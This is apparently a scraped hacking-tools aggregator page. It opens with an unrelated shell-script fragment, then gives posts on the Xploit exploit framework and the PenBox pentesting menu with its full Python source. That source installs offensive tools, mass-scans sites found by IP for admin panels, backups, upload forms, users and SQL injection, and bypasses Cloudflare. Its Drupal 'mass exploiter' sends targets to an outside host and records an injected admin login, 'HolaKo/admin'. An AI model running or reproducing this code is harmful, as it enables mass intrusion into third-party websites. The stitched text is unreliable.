			{ [ -z "$ORIG_RESOLVCONF" ] || mv "$ORIG_RESOLVCONF" "$rcf"; } ||
			{ error "failed to restore /etc/resolv.conf"; return 1; }
	fi

	debug 1 "cmd returned $ret. unmounting $mp"
	umount_r "$mp" || { error "failed umount $img"; return 1; }
	UMOUNT=""
	rmdir "$mp"

	if [ -n "$QEMU_DISCONNECT" ]; then
		local out=""
		out=$(qemu-nbd --disconnect "$QEMU_DISCONNECT" 2>&1) &&
			QEMU_DISCONNECT="" || {
				error "failed to disconnect $QEMU_DISCONNECT";
				error "$out"
				return 1;
		}
	fi
	return $ret
}

mount_callback_umount "$@"

# vi: ts=4 noexpandtab

Source : https://github.com/Crazykev

Xploit is an Open source exploit framework made in C#.

$
0
0

Xploit is a Open source exploit framework made in C#

header CMD XPloit

header CMD XPloit

Feature and Modules:
+ Auxiliary/Local
— Local Brute force by wordlist
— Dns Exfiltrate
— DNS-Exfiltration file parser
— DNS-Serve
— Invisible socks proxy
— NFC Restore system
— TCP Sniffer to file
— Kill a process in local machine
— Execute a system command in local machine
— Generate a wordList
+ Encoders/String ; Encode byte[] to base64 string.
+ Nops/Php ; PHP Nop
+ Payloads/Local/BruteForce
— Crack Bitlocker drive calling windows API
— Crack Bitlocker drive
— Crack MySql sniffed with WireShark Credentials

Xploit is a Open source exploit framework made in C#

Xploit is a Open source exploit framework made in C#

Latest Change 9/1/2016:
+ dns exfiltration process
+ xploit Test : Socket changes

How to run:

download it xploit-master.zip
unzip and right click open with visul studio xxxx comunity
then build.
open folder : xploit > bin > Debug > xploit.exe

Download : xploit-master.zip (324 KB) 
Source : https://github.com/shargon

PenBox v1.2 ~ Pentesting tools auto downloader Script.

$
0
0

Penbox ~ Pentesting tools auto downloader Script.
Requirements : python2.7

Changelog Version v1.2 :
+ All Os Compatible : Windows , Linux , OSX
+ pixiewps
+ commix
+ Web Hacking
+ Drupal Hacking
+ Inurlbr
+ WordPress & Joomla Scanner
+ Gravity Form Scanner
+ File Upload Checker
+ WordPress Exploit Scanner

penbox-v1-2

penbox-v1-2

 

Operating System Support Menu:
1) Max OSX
2) Linux
3) Windows

Main Menu:
1 : Information Gathering
2 : Password Attacks
3 : Wireless Testing
4 : Exploitation Tools
5 : Sniffing & Spoofing
6 : Privat Tool
7 : Drupal Hacking

Usage:

git clone https://github.com/x3omdax/PenBox && cd PenBox
cd Versions/V1.1
python penbox.py

penbox.py Script:

#!/usr/bin/env python2.7
#
#          All In One Tool For Penetration Testing 
#           Authors : Fedy Wesleti , Mohamed Nour 
#
import sys
import os
import time
import httplib
import subprocess
import re, urllib2
import socket
import urllib,sys,json
import telnetlib
import glob
import random
import Queue 
import threading
from getpass import getpass
from commands import *
from sys import argv
from platform import system
from urlparse import urlparse
from xml.dom import minidom
from optparse import OptionParser
from time import sleep
########################## 
#Variables
yes = set(['yes','y', 'ye', 'Y'])
no = set(['no','n'])
def logo():
    print """
  ########  ######## ##    ## ########   #######  ##     ## 
  ##     ## ##       ###   ## ##     ## ##     ##  ##   ##  
  ##     ## ##       ####  ## ##     ## ##     ##   ## ##   
  ########  ######   ## ## ## ########  ##     ##    ###    
  ##        ##       ##  #### ##     ## ##     ##   ## ##   
  ##        ##       ##   ### ##     ## ##     ##  ##   ##  
  ##        ######## ##    ## ########   #######  ##     ##  v1.2
                                  A Penetration Testing Framework 
 
  [+]       Coded BY Fedy Wesleti & Mohamed Nour        [+] 
  [+]                FB/CEH.TN   ~~ FB/mohamed.zeus.0   [+] 
  [+]             Greetz To All Pentesters              [+] 
"""
def menu():
    print ("""
  ########  ######## ##    ## ########   #######  ##     ## 
  ##     ## ##       ###   ## ##     ## ##     ##  ##   ##  
  ##     ## ##       ####  ## ##     ## ##     ##   ## ##   
  ########  ######   ## ## ## ########  ##     ##    ###    
  ##        ##       ##  #### ##     ## ##     ##   ## ##   
  ##        ##       ##   ### ##     ## ##     ##  ##   ##  
  ##        ######## ##    ## ########   #######  ##     ##  v1.2 
                                  A Penetration Testing Framework 
 
  [+]       Coded BY Fedy Wesleti & Mohamed Nour        [+] 
  [+]                FB/CEH.TN   ~~ FB/mohamed.zeus.0   [+] 
  [+]             Greetz To All Pentesters              [+] 

    Select from the menu:

    1 : Information Gathering
    2 : Password Attacks
    3 : Wireless Testing
    4 : Exploitation Tools
    5 : Sniffing & Spoofing
    6 : Web Hacking 
    7 : Privat Tools
    99 : Exit

    """)
    choice = raw_input("Enter Your Choice:")
    
    if choice == "1":
        info()
    elif choice == "2":
        passwd()
    elif choice == "3":
        wire()
    elif choice == "4":
        exp()
    elif choice == "5":
        snif()
    elif choice == "6":
        webhack()
    elif choice == "7":
        tnn()
    elif choice == "99":
        clearScr(),sys.exit();
    elif choice == "":
        menu()
    else: 
        menu()
def h2ip():
    host = raw_input("Select A Host : ")
    ips = socket.gethostbyname(host)
    print(ips)
def ports():
    clearScr()
    target = raw_input('Select a Target IP :')
    os.system("nmap -O -Pn %s" % target) 
    sys.exit();
def ifinurl():
    print""" This Advanced search in search engines, enables analysis provided to exploit GET / POST capturing emails & urls, with an internal custom validation junction for each target / url found."""
    print('do you have Inurlbr installed ? ')
    cinurl = raw_input("Y / N : ")
    if cinurl in yes:
        inurl()
    if cinurl in no:
        menu()
    elif cinurl == "":
        menu()
    else: 
        menu()
def commix():
    print ("Automated All-in-One OS Command Injection and Exploitation Tool.")
    print ("usage : python commix.py --help")
    choicecmx = raw_input("Continue: y/n :")
    if choicecmx in yes:
        os.system("git clone https://github.com/stasinopoulos/commix.git commix")
    elif choicecmx in no:
        os.system('clear'); info()        
 
def pixiewps():
    print"""Pixiewps is a tool written in C used to bruteforce offline the WPS pin exploiting the low or non-existing entropy of some Access Points, the so-called "pixie dust attack" discovered by Dominique Bongard in summer 2014. It is meant for educational purposes only
    """
    choicewps = raw_input("Continue ? Y/N : ")
    if choicewps in yes :
        os.system("git clone https://github.com/wiire/pixiewps.git") 
        os.system(" cd pixiewps/src & make ")
        os.system(" cd pixiewps/src & sudo make install")
    if choicewps in no : 
        menu() 
    elif choicewps == "":
        menu()
    else: 
        menu()
def webhack():
    print("1 : Drupal Hacking ")
    print("2 : Inurlbr")
    print("3 : Wordpress & Joomla Scanner")
    print("4 : Gravity Form Scanner")
    print("5 : File Upload Checker")
    print("6 : Wordpress Exploit Scanner")
    print("99 : Exit")
    choiceweb = raw_input("Enter Your Choice : ")
    if choiceweb == "1":
        clearScr()
        maine()
    if choiceweb == "2":
        clearScr(); ifinurl()
    if choiceweb =='3':
        clearScr(); wppjmla()
    if choiceweb =="4":
        clearScr(); gravity()
    if choiceweb =="5":
        clearScr(); sqlscan()
    if choiceweb =="6":
        clearScr(); wpminiscanner()
    elif choiceweb =="99":
        menu()
    elif choiceweb == "":
        menu()
    else: 
        menu() 
def inurl():
    dork = raw_input("select a Dork:")
    output = raw_input("select a file to save :")
    os.system("./inurlbr.php --dork '{0}' -s {1}.txt -q 1,6 -t 1".format(dork, output))
    if cinurl in no:
        insinurl()
    elif cinurl == "":
        menu()
    else: 
        menu()
def insinurl():
    os.system("git clone https://github.com/googleinurl/SCANNER-INURLBR.git")
    os.system("chmod +x SCANNER-INURLBR/inurlbr.php")
    os.system("apt-get install curl libcurl3 libcurl3-dev php5 php5-cli php5-curl")
    os.system("mv /SCANNER-INURLBR/inurbr.php inurlbr.php")
    clearScr()
    inurl()
def nmap():

    choice7 = raw_input("continue ? Y / N : ")
    if choice7 in yes :
        os.system("wget https://nmap.org/dist/nmap-7.01.tar.bz2")
        os.system("bzip2 -cd nmap-7.01.tar.bz2 | tar xvf -")
        os.system("cd nmap-7.01 & ./configure")
        os.system("cd nmap-7.01 & make")
        os.system("su root")
        os.system("cd nmap-7.01 & make install")
    elif choice7 in no :
        info()
    elif choice7 == "":
        menu()
    else: 
        menu()
def jboss():
    os.system('clear')
    print ("This JBoss script deploys a JSP shell on the target JBoss AS server. Once")
    print ("deployed, the script uses its upload and command execution capability to")
    print ("provide an interactive session.")
    print ("")
    print ("usage : ./e.sh target_ip tcp_port ")
    print("Continue: y/n")
    choice9 = raw_input("yes / no :")
    if choice9 in yes:
        os.system("git clone https://github.com/SpiderLabs/jboss-autopwn.git"),sys.exit();
    elif choice9 in no:
        os.system('clear'); exp()
    elif choice9 == "":
        menu()
    else: 
        menu()
def sqlmap():
    print ("usage : python sqlmap.py -h")
    choice8 = raw_input("Continue: y/n :")
    if choice8 in yes:
        os.system("git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev & ")
    elif choice8 in no:
        os.system('clear'); info()
    elif choice8 == "":
        menu()
    else: 
        menu()
def setoolkit():
    print ("The Social-Engineer Toolkit is an open-source penetration testing framework")
    print(") designed for social engineering. SET has a number of custom attack vectors that ")
    print(" allow you to make a believable attack quickly. SET is a product of TrustedSec, LLC  ")
    print("an information security consulting firm located in Cleveland, Ohio.")
    print("")
    choiceset = raw_input("y / n :")
    if choiceset in yes:
        os.system("git clone https://github.com/trustedsec/social-engineer-toolkit.git")
        os.system("python social-engineer-toolkit/setup.py")
    if choiceset in no:
        clearScr(); info()
    elif choiceset == "":
        menu()
    else: 
        menu()
def cupp():
    print("cupp is a password list generator ")
    print("Usage: python cupp.py -h")
    choicecupp = raw_input("Continue: y/n : ")
    
    if choicecupp in yes:
        os.system("git clone https://github.com/Mebus/cupp.git")
        print("file downloaded successfully")
    elif choicecupp in no:
        clearScr(); passwd()
    elif choicecupp == "":
        menu()
    else: 
        menu()
def ncrack():
    print("A Ruby interface to Ncrack, Network authentication cracking tool.")
    print("requires : nmap >= 0.3ALPHA / rprogram ~> 0.3")
    print("Continue: y/n")
    choicencrack = raw_input("y / n :")
    if choicencrack in yes:
        os.system("git clone https://github.com/sophsec/ruby-ncrack.git")
        os.system("cd ruby-ncrack")
        os.system("install ruby-ncrack")
    elif choicencrack in no:
        clearScr(); passwd()
    elif choicencrack == "":
        menu()
    else: 
        menu()
def reaver():
    print """
      Reaver has been designed to be a robust and practical attack against Wi-Fi Protected Setup
      WPS registrar PINs in order to recover WPA/WPA2 passphrases. It has been tested against a
      wide variety of access points and WPS implementations
      1 to accept / 0 to decline
        """
    creaver = raw_input("y / n :")
    if creaver in yes:
        os.system("apt-get -y install build-essential libpcap-dev sqlite3 libsqlite3-dev aircrack-ng pixiewps")
        os.system("git clone https://github.com/t6x/reaver-wps-fork-t6x.git")
        os.system("cd reaver-wps-fork-t6x/src/ & ./configure")
        os.system("cd reaver-wps-fork-t6x/src/ & make")
    elif creaver in no:
        clearScr(); wire()
    elif creaver == "":
        menu()
    else: 
        menu()
def ssls():
    print"""sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping 
    attacks.
    It requires Python 2.5 or newer, along with the 'twisted' python module."""
    cssl = raw_input("y / n :")
    if cssl in yes: 
        os.system("git clone https://github.com/moxie0/sslstrip.git")
        os.system("sudo apt-get install python-twisted-web")
        os.system("python sslstrip/setup.py")
    if cssl in no:
        snif()
    elif cssl =="":
        menu()
    else:
        menu()
def unique(seq):
        seen = set()
        return [seen.add(x) or x for x in seq if x not in seen]
def bing_all_grabber(s):
        
        lista = []
        page = 1
        while page <= 101:
                try:
                        bing = "http://www.bing.com/search?q=ip%3A" + s + "+&count=50&first=" + str(page)
                        openbing = urllib2.urlopen(bing)
                        readbing = openbing.read()
                        findwebs = re.findall('<h2><a href="(.*?)"', readbing)
                        for i in range(len(findwebs)):
                                allnoclean = findwebs[i]
                                findall1 = re.findall('http://(.*?)/', allnoclean)
                                for idx, item in enumerate(findall1):
                                        if 'www' not in item:
                                                findall1[idx] = 'http://www.' + item + '/'
                                        else:
                                                findall1[idx] = 'http://' + item + '/'
                                lista.extend(findall1)
 
                        page += 50
                except urllib2.URLError:
                        pass
 
        final = unique(lista)
        return final
def check_gravityforms(sites) :
        import urllib
        gravityforms = []
        for site in sites :
                try :
                        if urllib.urlopen(site+'wp-content/plugins/gravityforms/gravityforms.php').getcode() == 403 :
                                gravityforms.append(site)
                except :
                        pass
 
        return gravityforms
def gravity():
    ip = raw_input('Enter IP : ')
    sites = bing_all_grabber(str(ip))
    gravityforms = check_gravityforms(sites)
    for ss in gravityforms :
            print ss
     
    print '\n'
    print '[*] Found, ', len(gravityforms), ' gravityforms.'
def shellnoob():
    print """Writing shellcodes has always been super fun, but some parts are extremely boring and error prone. Focus only on the fun part, and use ShellNoob!"""
    cshell = raw_input("Y / N : ")
    if cshell in yes:
        os.system("git clone https://github.com/reyammer/shellnoob.git")
        os.system("mv shellnoob/shellnoob.py shellnoob.py")
        os.system("sudo python shellnoob.py --install")
    if cshell in no:
        exp()
    elif cshell =="":
        menu()
    else:
        menu()
def info():
    print("1: nmap ")
    print("2: Setoolkit")
    print("3: Port Scanning")
    print("4: Host To IP")
    print("99: Back To Main Menu")
    choice2 = raw_input("Select from the menu:")
    if choice2 == "1":
        os.system('clear'); nmap()
    if choice2 == "2":
        clearScr(); setoolkit()
    if choice2 == "3":
        clearScr(); ports()
    if choice2 == "4":
        clearScr(); h2ip()
    elif choice2 =="99":
        clearScr(); menu()
    elif choice2 == "":
        menu()
    else: 
        menu()
def priv8():
    tnn()
def passwd():
    print("1:  cupp ")
    print("2:  Ncrack")
    print("99: Back To Main Menu")
    choice3 = raw_input("Select from the menu:")
    if choice3 =="1":
     clearScr(); cupp()
    elif choice3 =="2":
        clearScr(); ncrack()
    elif choice3 =="99":
        clearScr(); menu()
    elif choice3 == "":
        menu()
    else: 
        menu()
def wire():
    print("1 : reaver ")
    print("2 : pixiewps")
    print("99: Back To The Main Menu")
    choice4 = raw_input("Select from the menu:")
    if choice4 =="1":
     clearScr();reaver()
    if choice4 =="2":
        clearScr(); pixiewps()
    elif choice4 =="99":
        menu()
    elif choice4 == "":
        menu()
    else: 
        menu()
def exp():
    print("1 : jboss-autopwn ")
    print("2 : sqlmap")
    print("3 : Shellnoob")
    print("4 : commix")
    print("99 : Go Back To Main Menu")
    choice5 = raw_input("Select from the menu:")
    if choice5 =="2":
        clearScr(); sqlmap()
    if choice5 =="1":
     os.system('clear'); jboss()
    if choice5 =="3":
        clearScr(); shellnoob()
    if choice5 =="4":
        os.system("clear"); commix()
    elif choice5 =="99":
        menu()
    elif choice5 == "":
        menu()
    else: 
        menu()
def snif():
    print("1 : Setoolkit ")
    print("2 : Ssltrip")
    print("99: Back To Main Menu")
    choice6 = raw_input("Select from the menu:")
    if choice6 =="1":
     clearScr(); setoolkit()
    if choice6 =="2":
        clearScr(); ssls()
    if choice6 =="99":
       clearScr(); menu()
    elif choice6 == "":
        menu()
    else: 
        menu()
def win():
    clearScr()
    print("Our Tool Does Not Support Windows , run it on linux or install a virtual machine ")
    sys.exit();
  #Check use OS
def OS():
    print(
    """
    Choose Operating System : 
    1) Mac OSX
    2) Linux
    3) Windows
    """)
    system = raw_input("choose an OS : ")
    if system =="2":
        menu()
    elif system =="1":
        root()
    elif system =="3":
        win()
    elif system == "":
        OS()
    else:
        sys.exit();
def root():
    if os.getuid() != 0:
        print("Are you root? Please execute as root")
        exit() 
    else:
        menu()
menuu = """
 1) Get all websites
 2) Get joomla websites
 3) Get wordpress websites
 4) Find control panel
 5) Find zip files
 6) Find upload files
 7) Get server users
 8) Scan from SQL injection
 9) Scan ports (range of ports)
 10) Scan ports (common ports)
 11) Get server banner
 12) Bypass Cloudflare
 99) Exit
"""
def unique(seq):
    """
    get unique from list found it on stackoverflow
    """
    seen = set()
    return [seen.add(x) or x for x in seq if x not in seen]
def clearScr() :
    """
    clear the screen in case of GNU/Linux or 
    windows 
    """
    if system() == 'Linux':
        os.system('clear')
    if system() == 'Windows':
        os.system('cls')
class TNscan : #TNscan Function menu 
    def __init__(self, serverip) :
        self.serverip = serverip
        self.getSites(False)
        print menuu
        while True :
            choice = raw_input(' Enter choice -> ')
            if choice == '1' :
                self.getSites(True)
            elif choice == '2' :
                self.getJoomla()
            elif choice == '3' :
                self.getWordpress()
            elif choice == '4' :
                self.findPanels()
            elif choice == '5' :
                self.findZip()
            elif choice == '6' :
                self.findUp()
            elif choice == '7' :
                self.getUsers()
            elif choice == '8' :
                self.grabSqli()
            elif choice == '9' :
                ran = raw_input(' Enter range of ports, (ex : 1-1000) -> ')
                self.portScanner(1, ran)
            elif choice == '10' :
                self.portScanner(2, None)
            elif choice == '11' :
                self.getServerBanner()
            elif choice == '12' :
                self.cloudflareBypasser()
            elif choice == '99' :
                menu()
            con = raw_input(' Continue [Y/n] -> ')
            if con[0].upper() == 'N' :
                exit()
            else :
                clearScr()
                print menuu
    def getSites(self, a) :
        """
        get all websites on same server
        from bing search
        """
        lista = []
        page = 1
        while page <= 101:
            try:
                bing = "http://www.bing.com/search?q=ip%3A" + self.serverip + "+&count=50&first=" + str(page)
                openbing = urllib2.urlopen(bing)
                readbing = openbing.read()
                findwebs = re.findall('<h2><a href="(.*?)"', readbing)
                for i in range(len(findwebs)):
                    allnoclean = findwebs[i]
                    findall1 = re.findall('http://(.*?)/', allnoclean)
                    for idx, item in enumerate(findall1):
                        if 'www' not in item:
                            findall1[idx] = 'http://www.' + item + '/'
                        else:
                            findall1[idx] = 'http://' + item + '/'
                    lista.extend(findall1)
                    
                page += 50
            except urllib2.URLError:
                pass
        self.sites = unique(lista)
        if a :      
            clearScr()
            print '[*] Found ', len(lista), ' Website\n'
            for site in self.sites :
                print site 
    def getWordpress(self) :
        """
        get wordpress site using a dork the attacker
        may do a password list attack (i did a tool for that purpose check my pastebin) 
        or scan for common vulnerabilities using wpscan for example (i did a simple tool 
        for multi scanning using wpscan)
        """
        lista = []
        page = 1
        while page <= 101:
            try:
                bing = "http://www.bing.com/search?q=ip%3A" + self.serverip + "+?page_id=&count=50&first=" + str(page)
                openbing = urllib2.urlopen(bing)
                readbing = openbing.read()
                findwebs = re.findall('<h2><a href="(.*?)"', readbing)
                for i in range(len(findwebs)):
                    wpnoclean = findwebs[i]
                    findwp = re.findall('(.*?)\?page_id=', wpnoclean)
                    lista.extend(findwp)
                page += 50
            except:
                pass
        lista = unique(lista)
        clearScr()
        print '[*] Found ', len(lista), ' Wordpress Website\n'
        for site in lista :
            print site
    def getJoomla(self) :
        """
        get all joomla websites using 
        bing search the attacker may bruteforce
        or scan them 
        """
        lista = []
        page = 1
        while page <= 101:
            bing = "http://www.bing.com/search?q=ip%3A" + self.serverip + "+index.php?option=com&count=50&first=" + str(page)
            openbing = urllib2.urlopen(bing)
            readbing = openbing.read()
            findwebs = re.findall('<h2><a href="(.*?)"', readbing)
            for i in range(len(findwebs)):
                jmnoclean = findwebs[i]
                findjm = re.findall('(.*?)index.php', jmnoclean)
                lista.extend(findjm)
            page += 50
        lista = unique(lista)
        clearScr()
        print '[*] Found ', len(lista), ' Joomla Website\n'
        for site in lista :
            print site
############################
#find admin panels
    def findPanels(self) :
        """
        find panels from grabbed websites
        the attacker may do a lot of vulnerabilty 
        tests on the admin area
        """
        print "[~] Finding admin panels"
        adminList = ['admin/', 'site/admin', 'admin.php/', 'up/admin/', 'central/admin/', 'whm/admin/', 'whmcs/admin/', 'support/admin/', 'upload/admin/', 'video/admin/', 'shop/admin/', 'shoping/admin/', 'wp-admin/', 'wp/wp-admin/', 'blog/wp-admin/', 'admincp/', 'admincp.php/', 'vb/admincp/', 'forum/admincp/', 'up/admincp/', 'administrator/', 'administrator.php/', 'joomla/administrator/', 'jm/administrator/', 'site/administrator/', 'install/', 'vb/install/', 'dimcp/', 'clientes/', 'admin_cp/', 'login/', 'login.php', 'site/login', 'site/login.php', 'up/login/', 'up/login.php', 'cp.php', 'up/cp', 'cp', 'master', 'adm', 'member', 'control', 'webmaster', 'myadmin', 'admin_cp', 'admin_site']
        clearScr()
        for site in self.sites :
            for admin in adminList :
                try :
                    if urllib.urlopen(site + admin).getcode() == 200 :
                        print " [*] Found admin panel -> ", site + admin
                except IOError :
                    pass
 ############################         
 #find ZIP files          
    def findZip(self) :
        """
        find zip files from grabbed websites
        it may contain useful informations
        """
        zipList = ['backup.tar.gz', 'backup/backup.tar.gz', 'backup/backup.zip', 'vb/backup.zip', 'site/backup.zip', 'backup.zip', 'backup.rar', 'backup.sql', 'vb/vb.zip', 'vb.zip', 'vb.sql', 'vb.rar', 'vb1.zip', 'vb2.zip', 'vbb.zip', 'vb3.zip', 'upload.zip', 'up/upload.zip', 'joomla.zip', 'joomla.rar', 'joomla.sql', 'wordpress.zip', 'wp/wordpress.zip', 'blog/wordpress.zip', 'wordpress.rar']
        clearScr()
        print "[~] Finding zip file"
        for site in self.sites :
            for zip1 in zipList :
                try:
                    if urllib.urlopen(site + zip1).getcode() == 200 :
                        print " [*] Found zip file -> ", site + zip1
                except IOError :
                    pass
 ############################  
 #find upload directories     
    def findUp(self) :
        """
        find upload forms from grabbed 
        websites the attacker may succeed to 
        upload malicious files like webshells
        """
        upList = ['up.php', 'up1.php', 'up/up.php', 'site/up.php', 'vb/up.php', 'forum/up.php','blog/up.php', 'upload.php', 'upload1.php', 'upload2.php', 'vb/upload.php', 'forum/upload.php', 'blog/upload.php', 'site/upload.php', 'download.php']
        clearScr()
        print "[~] Finding Upload"
        for site in self.sites :
            for up in upList :
                try :   
                    if (urllib.urlopen(site + up).getcode() == 200) :
                        html = urllib.urlopen(site + up).readlines()
                        for line in html :
                            if re.findall('type=file', line) :
                                print " [*] Found upload -> ", site+up
                except IOError :
                    pass
 ############################ 
#find users                  
    def getUsers(self) :
        """
        get server users using a method found by 
        iranian hackers , the attacker may
        do a bruteforce attack on CPanel, ssh, ftp or 
        even mysql if it supports remote login
        (you can use medusa or hydra)
        """
        clearScr()
        print "[~] Grabbing Users"
        userslist = []
        for site1 in self.sites :
            try:
                site = site1
                site = site.replace('http://www.', '')
                site = site.replace('http://', '')
                site = site.replace('.', '')
                if '-' in site:
                    site = site.replace('-', '')
                site = site.replace('/', '')
                while len(site) > 2:
                    resp = urllib2.urlopen(site1 + '/cgi-sys/guestbook.cgi?user=%s' % site).read()
                    if 'invalid username' not in resp.lower():
                        print '\t [*] Found -> ', site
                        userslist.append(site)
                        break
                    else :
                        print site
                        
                    site = site[:-1]
            except:
                pass
                    
        clearScr()
        for user in userslist :
            print user
############################        
#bypass cloudflare   
    def cloudflareBypasser(self) :
        """
        trys to bypass cloudflare i already wrote
        in my blog how it works, i learned this 
        method from a guy in madleets
        """
        clearScr()
        print "[~] Bypassing cloudflare"
        subdoms = ['mail', 'webmail', 'ftp', 'direct', 'cpanel']
        for site in self.sites :
            site.replace('http://', '')
            site.replace('/', '')           
            try:
                ip = socket.gethostbyname(site)
            except socket.error:
                pass
            for sub in subdoms:
                doo = sub + '.' + site
                print ' [~] Trying -> ', doo
                try:
                    ddd = socket.gethostbyname(doo)
                    if ddd != ip:
                        print ' [*] Cloudflare bypassed -> ', ddd
                        break
                except socket.error :
                    pass
############################   
#find the server banner                 
    def getServerBanner(self) :
        """
        simply gets the server banner 
        the attacker may benefit from it 
        like getting the server side software
        """
        clearScr()
        try:
            s = 'http://' + self.serverip
            httpresponse = urllib.urlopen(s)
            print ' [*] Server header -> ', httpresponse.headers.getheader('server')
        except:
            pass
############################    
#greb the sqli         
    def grabSqli(self) :
        """
        just grabs all websites in server with php?id= dork 
        for scanning for error based sql injection
        """
        page = 1
        lista = []
        while page <= 101:
            try:
                bing = "http://www.bing.com/search?q=ip%3A" + self.serverip + "+php?id=&count=50&first=" + str(page)
                openbing = urllib2.urlopen(bing)
                readbing = openbing.read()
                findwebs = re.findall('<h2><a href="(.*?)"', readbing)
                for i in range(len(findwebs)):
                    x = findwebs[i]
                    lista.append(x)
            except:
                pass            
            page += 50  
        lista = unique(lista)       
        self.checkSqli(lista)
 ############################      
 #scan for sql injection  
    def checkSqli(self, s):
        """
        checks for error based sql injection,
        most of the codes here are from webpwn3r 
        project the one who has found an lfi in 
        yahoo as i remember, you can find a separate 
        tool in my blog 
        """
        clearScr()
        print "[~] Checking SQL injection"
        payloads = ["3'", "3%5c", "3%27%22%28%29", "3'><", "3%22%5C%27%5C%22%29%3B%7C%5D%2A%7B%250d%250a%3C%2500%3E%25bf%2527%27"]
        check = re.compile("Incorrect syntax|mysql_fetch|Syntax error|Unclosed.+mark|unterminated.+qoute|SQL.+Server|Microsoft.+Database|Fatal.+error", re.I)
        for url in s:
            try:
                for param in url.split('?')[1].split('&'):
                    for payload in payloads:
                        power = url.replace(param, param + payload.strip())
                        #print power
                        html = urllib2.urlopen(power).readlines()
                        for line in html:
                            checker = re.findall(check, line)
                            if len(checker) != 0 :
                                print ' [*] SQLi found -> ', power
            except:
                pass
############################   
############################        
#scan for ports  
def portScanner(self, mode, ran) :
        """
        simple port scanner works with range of ports 
        or with common ports (al-swisre idea)
        """
        clearScr()
        print "[~] Scanning Ports"
        def do_it(ip, port):
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            #sock.settimeout(5)
            sock = sock.connect_ex((ip,port))
            if sock == 0:
                print " [*] Port %i is open" % port 
        
        if mode == 1 :
            a = ran.split('-')
            start = int(a[0])
            end = int(a[1])
            for i in range(start, end):
                do_it(self.serverip, i)
        elif mode == 2 :
            for port in [80,21,22,2082,25,53,110,443,143] :
                # didn't use multithreading cos it's few ports
                do_it(self.serverip, port)
############################
minu ='''
\t 1: Drupal Bing Exploiter
\t 2: Get Drupal Websites
\t 3: Drupal Mass Exploiter
\t 99: Back To Main Menu
'''


            #Definition Of Drupal Bing Expoliter 
def drupal():

    '''Drupal Exploit Binger All Websites Of server '''
    ip  = raw_input('1- IP : ')
    page  = 1
    while page <= 50 :
      
      url   = "http://www.bing.com/search?q=ip%3A"+ip+"&go=Valider&qs=n&form=QBRE&pq=ip%3A"+ip+"&sc=0-0&sp=-1&sk=&cvid=af529d7028ad43a69edc90dbecdeac4f&first="+str(page)
      req   = urllib2.Request(url)
      opreq = urllib2.urlopen(req).read()
      findurl = re.findall('<div class="b_title"><h2><a href="(.*?)" h=',opreq)
      page += 1 
      
      for url in findurl :
        try : 
            
                        urlpa = urlparse(url)
                        site  = urlpa.netloc

                        print "[+] Testing At "+site
                        resp = urllib2.urlopen('http://crig-alda.ro/wp-admin/css/index2.php?url='+site+'&submit=submit')
                        read=resp.read()
                        if "User : HolaKo" in read:
                           print "Exploit found =>"+site

                           print "user:HolaKo\npass:admin"
                           a = open('up.txt','a')
                           a.write(site+'\n')
                           a.write("user:"+user+"\npass:"+pwd+"\n")
                        else :
                           print "[-] Expl Not Found :( "

        except Exception as ex :
                       print ex
                       sys.exit(0)


            #Drupal Server ExtraCtor
def getdrupal():
    ip  = raw_input('Enter The Ip : ')
    page  = 1
    sites = list()
    while page <= 50 :
      
      url   = "http://www.bing.com/search?q=ip%3A"+ip+"+node&go=Valider&qs=ds&form=QBRE&first="+str(page)
      req   = urllib2.Request(url)
      opreq = urllib2.urlopen(req).read()
      findurl = re.findall('<div class="b_title"><h2><a href="(.*?)" h=',opreq)
      page += 1 
      
      for url in findurl :
                             split = urlparse(url)
                             site   = split.netloc
                             if site not in sites :
                                      print site 
                                      sites.append(site)
      

            #Drupal Mass List Exploiter 
def drupallist():
    listop = raw_input("Enter The list Txt :")
    fileopen = open(listop,'r')
    content = fileopen.readlines() 
    for i in content :
        url=i.strip()
        try :
            openurl = urllib2.urlopen('http://crig-alda.ro/wp-admin/css/index2.php?url='+url+'&submit=submit')
            readcontent = openurl.read()
            if  "Success" in readcontent :
                print "[+]Success =>"+url
                print "[-]username:HolaKo\n[-]password:admin"
                save = open('drupal.txt','a')
                save.write(url+"\n"+"[-]username:HolaKo\n[-]password:admin\n")
                               
            else : 
                print i + "=> exploit not found " 
        except Exception as ex :
            print ex
def maine():
    
     print minu
     choose = raw_input("choose a number :")
     while True : 
      
      if choose == "1": 
        drupal()
      if choose == "2":
        getdrupal()
      if choose == "3":
        drupallist()
      if choose == "4":
        about()
      if choose == "99":
           
            menu()
      con = raw_input('Continue [Y/n] -> ')
      if con[0].upper() == 'N' :
                                    exit()
      if con[0].upper() == 'Y' :
                                    maine()
def unique(seq):
    seen = set()
    return [seen.add(x) or x for x in seq if x not in seen]
def bing_all_grabber(s):
    lista = []
    page = 1
    while page <= 101:
        try:
            bing = "http://www.bing.com/search?q=ip%3A" + s + "+&count=50&first=" + str(page)
            openbing = urllib2.urlopen(bing)
            readbing = openbing.read()
            findwebs = re.findall('<h2><a href="(.*?)"', readbing)
            for i in range(len(findwebs)):
                allnoclean = findwebs[i]
                findall1 = re.findall('http://(.*?)/', allnoclean)
                for idx, item in enumerate(findall1):
                    if 'www' not in item:
                        findall1[idx] = 'http://www.' + item + '/'
                    else:
                        findall1[idx] = 'http://' + item + '/'
                lista.extend(findall1)

            page += 50
        except urllib2.URLError:
            pass

    final = unique(lista)
    return final
def check_wordpress(sites) :
    wp = []
    for site in sites :
        try :
            if urllib2.urlopen(site+'wp-login.php').getcode() == 200 :
                wp.append(site)
        except :
            pass

    return wp
def check_joomla(sites) :
    joomla = []
    for site in sites :
        try :
            if urllib2.urlopen(site+'administrator').getcode() == 200 :
                joomla.append(site)
        except :
            pass

    return joomla
def wppjmla():
    
    ipp = raw_input('Enter Target IP: ')
    sites = bing_all_grabber(str(ipp))
    wordpress = check_wordpress(sites)
    joomla = check_joomla(sites)
    for ss in wordpress :
        print ss
    print '[+] Found ! ', len(wordpress), ' Wordpress Websites'
    print '-'*30+'\n'
    for ss in joomla :
        print ss


    print '[+] Found ! ', len(joomla), ' Joomla Websites'

    print '\n'
#initialise the tnscan function 
class tnn():
    def __init__(self):
        clearScr()
        aaa = raw_input("Target IP : ")
        TNscan(aaa)
############################
class bcolors:
    HEADER = ''
    OKBLUE = ''
    OKGREEN = ''
    WARNING = ''
    FAIL = ''
    ENDC = ''
    CYAN = ''
class colors():
    PURPLE = ''
    CYAN = ''
    DARKCYAN = ''
    BLUE = ''
